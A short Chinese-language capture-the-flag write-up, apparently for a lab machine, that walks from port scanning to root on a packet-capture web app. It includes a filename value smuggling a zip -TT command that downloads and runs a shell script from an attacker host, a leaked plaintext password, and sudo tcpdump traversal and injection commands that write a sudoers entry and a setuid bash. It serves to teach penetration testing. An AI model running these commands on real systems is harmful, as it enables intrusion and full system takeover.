初始侦察
Nmap扫描发现两个开放端口:
1
2
3
4
|
nmap -p- -vvv --min-rate 10000 10.129.26.68
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
|
网站分析
网站提供数据包捕获功能,具有以下特性:
- 用户注册/登录系统
- 实时流量捕获(端口27714)
- PCAP文件上传下载
- 使用PHP开发
参数注入攻击
特殊字符模糊测试
通过上传包含特殊字符的文件名,发现zip命令存在参数注入漏洞:
1
|
ffuf -request upload.request -w /opt/SecLists/Fuzzing/special-chars.txt
|
命令执行利用
利用zip命令的-T和-TT参数实现远程代码执行:
1
2
3
4
|
# 创建三个文件实现RCE
- -T
- -TT "wget 10.10.14.17 -O s.sh; bash s.sh; echo"
- "test.pcap"
|
成功获取www-data权限的shell。
权限提升
用户fritz
在SQLite数据库中发现fritz用户的明文密码:
1
2
|
username|password|guid
fritz|Passw0rdH4shingIsforNoobZ!|534ce8b9-6a77-4113-a8c1-66462519bfd1
|
Sudo权限滥用
www-data用户可以以root权限运行tcpdump:
1
2
3
|
sudo -l
User www-data may run the following commands on dump:
(ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10 -w/var/cache/captures/*/[UUID] -F/var/cache/captures/filter.[UUID]
|
文件读写原语
利用tcpdump的路径遍历和参数注入:
- 目录遍历:
1
|
sudo tcpdump -c10 -w/var/cache/captures/a/../../../../dev/shm/test
|
- 参数注入:
1
|
sudo tcpdump -c10 -w/var/cache/captures/a/ -w /dev/shm/test
|
- 文件读取:
1
|
sudo tcpdump -c10 -w/var/cache/captures/a/ -V /root/root.txt -w /tmp/test
|
权限提升方法
方法一:Sudoers文件写入
创建包含以下内容的PCAP文件:
1
|
fritz ALL=(ALL:ALL) NOPASSWD: ALL
|
写入/etc/sudoers.d/目录:
1
|
sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root -r sudoers.pcap -w /etc/sudoers.d/test
|
方法二:MOTD利用
写入/etc/update-motd.d/目录并执行:
1
|
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/rootbash\nchmod 6777 /tmp/rootbash' > /etc/update-motd.d/test
|
AppArmor限制
系统配置了AppArmor策略限制tcpdump:
- 禁止写入HOME目录的隐藏文件
- 限制-z参数只能使用gzip和bzip2
- 审计特定文件操作
通过多种技术组合,最终成功获取root权限并读取flag文件。